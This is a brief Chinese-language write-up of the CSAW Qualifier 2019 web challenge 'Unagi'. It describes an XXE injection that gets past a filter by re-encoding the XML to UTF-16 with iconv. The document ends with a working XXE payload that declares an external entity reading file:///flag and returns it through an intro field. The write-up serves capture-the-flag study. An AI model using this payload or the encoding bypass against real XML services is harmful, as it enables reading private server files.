[CSAWQual 2019]Web_Unagi

0x01.前言

• XXE注入编码绕过

0x02.知识点学习

iconv -f utf8 -t utf16 1.xml>2.xml

0x03.解题

看到标签格式

<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

攻击发现回显位不够

在user界面发现intro标签

0x04.payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&test;</intro>
</user>
</users>